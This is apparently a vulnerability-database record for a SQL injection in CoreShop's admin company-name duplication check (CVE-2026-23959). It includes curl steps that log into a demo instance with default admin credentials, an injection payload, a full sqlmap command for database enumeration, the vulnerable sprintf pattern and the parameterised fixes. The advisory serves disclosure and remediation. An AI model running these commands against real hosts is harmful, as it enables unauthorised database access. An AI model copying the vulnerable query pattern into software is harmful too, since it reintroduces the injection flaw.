{"id":"CVE-2026-23959","aliases":["GHSA-fqcv-8859-86x2"],"url":"https://o3.security/vulnerability/CVE-2026-23959","summary":"CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier","details":"# SQL Injection in CustomerTransformerController\n\n## Summary\nAn **error-based SQL Injection vulnerability** was identified in the `CustomerTransformerController` within the CoreShop admin panel.  \nThe affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.\n\nThis issue is classified as **MEDIUM severity**, as it allows SQL execution in an authenticated admin context.\n\n---\n\n## Details\nThe vulnerability exists in the company name duplication check endpoint:\n\n```\n/admin/coreshop/customer-company-modifier/duplication-name-check?value=\n```\n\nSource code analysis indicates that user input is directly embedded into a SQL condition without parameterization.\n\n**Vulnerable file:**\n```\n/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php\n```\n\n**Vulnerable code pattern:**\n```php\nsprintf('name LIKE \"%%%s%%\"', (string) $value)\n```\n\nThe `$value` parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.  \nSupplying a double quote (`\"`) causes a SQL syntax error, confirming that the input is executed in a SQL context.\n\n---\n\n## Exploitation Steps:\n\n### Prerequisites\n- Admin panel access at `https://demo4.coreshop.org/admin`\n- Default credentials: `admin / coreshop`\n\n### Authenticate to admin panel\n```bash\n   # Get CSRF token\n   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken\n\n   # Initialize session\n   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null\n\n   # Get CSRF token with session\n   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '\"csrfToken\":\"[^\"]*\"' | cut -d'\"' -f4)\n\n   # Login\n   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \\\n     -X POST 'https://demo4.coreshop.org/admin/login/login' \\\n     -H 'Content-Type: application/x-www-form-urlencoded' \\\n     -d \"username=admin&password=coreshop&csrfToken=$CSRF\"\n   ```\n\n### Trigger SQL error to confirm injection\n   ```bash\n   curl -s -b /tmp/session.txt \\\n     'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'\n   ```\n\n   **Expected result:** HTTP 500 error page with title \"500 | CORS - Pimcore Digital Agency\"\n\n   **Normal response (non-error):**\n   ```json\n   {\"success\":true,\"message\":null,\"list\":[]}\n   ```\n\n### Proof of Impact:\n\n**Test 1 - Normal query:**\n```bash\nGET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test\nResponse: {\"success\":true,\"message\":null,\"list\":[]}\n```\n\n**Test 2 - SQL injection (error-inducing):**\n```bash\nGET /admin/coreshop/customer-company-modifier/duplication-name-check?value=\"\nResponse: HTTP 500 Internal Server Error\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <title>500 | CORS - Pimcore Digital Agency</title>\n  ...\n</head>\n```\nThe double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.\n\n**Sqlmap Result:**\n```bash\npython sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db\n```\n<img width=\"1921\" height=\"747\" alt=\"sqlmappoc\" src=\"https://github.com/user-attachments/assets/4069bbd4-d1a1-4ad1-9983-24402a20f985\" />\n\n---\n\n## Impact\n- **Vulnerability type:** SQL Injection (Error-based)\n- **Affected users:** CoreShop / Pimcore admin users\n- **Potential impact:**\n  - Database error disclosure\n  - Database schema enumeration\n  - Possible data extraction via error-based or blind SQL injection\n\n---\n\n## Recommended Fix\n\n### 1. Use Parameterized Queries (Required)\nAvoid building SQL conditions using string concatenation or `sprintf`.  \nUse Doctrine QueryBuilder parameters instead.\n\n**❌ Vulnerable example:**\n```php\n$condition = sprintf('name LIKE \"%%%s%%\"', (string) $value);\n```\n\n**✅ Secure example (Doctrine QueryBuilder):**\n```php\n$qb->andWhere('c.name LIKE :name')\n   ->setParameter('name', '%' . $value . '%');\n```\n\nThis ensures proper escaping and prevents SQL injection.\n\n---\n\n### 2. Validate User Input (Defense-in-Depth)\nApply strict input validation before processing user data:\n\n```php\nif (!is_string($value) || mb_strlen($value) > 255) {\n    throw new BadRequestHttpException('Invalid input');\n}\n```\n\nOptionally, restrict allowed characters if business logic permits.\n\n---\n\n### 3. Handle Errors Gracefully\nAvoid returning raw 500 error pages to users.  \nCatch database exceptions and return a controlled JSON error response instead:\n\n```php\nreturn new JsonResponse([\n    'success' => false,\n    'message' => 'Invalid request'\n], 400);\n```\n\n---\n\n### 4. Security Best Practice\n- Never interpolate user input directly into SQL strings\n- Always use prepared statements or ORM parameter binding\n- Ensure consistent input validation on all admin endpoints\n\n---","published":"2026-01-22T01:57:58.566Z","modified":"2026-10-28T02:30:46.391835591Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"coreshop/core-shop","fixedVersion":"4.1.9"}],"fix":{"url":"https://github.com/coreshop/CoreShop/commit/af80b8f5c7df5f02f44e9c5e0a4a564de274eec2","label":"coreshop/CoreShop@af80b8f"},"references":[{"type":"WEB","url":"https://github.com/coreshop/CoreShop/releases/tag/4.1.9"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23959.json"},{"type":"ADVISORY","url":"https://github.com/coreshop/CoreShop/security/advisories/GHSA-fqcv-8859-86x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23959"},{"type":"FIX","url":"https://github.com/coreshop/CoreShop/commit/af80b8f5c7df5f02f44e9c5e0a4a564de274eec2"},{"type":"PACKAGE","url":"https://github.com/coreshop/CoreShop"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:46.391835591Z"}}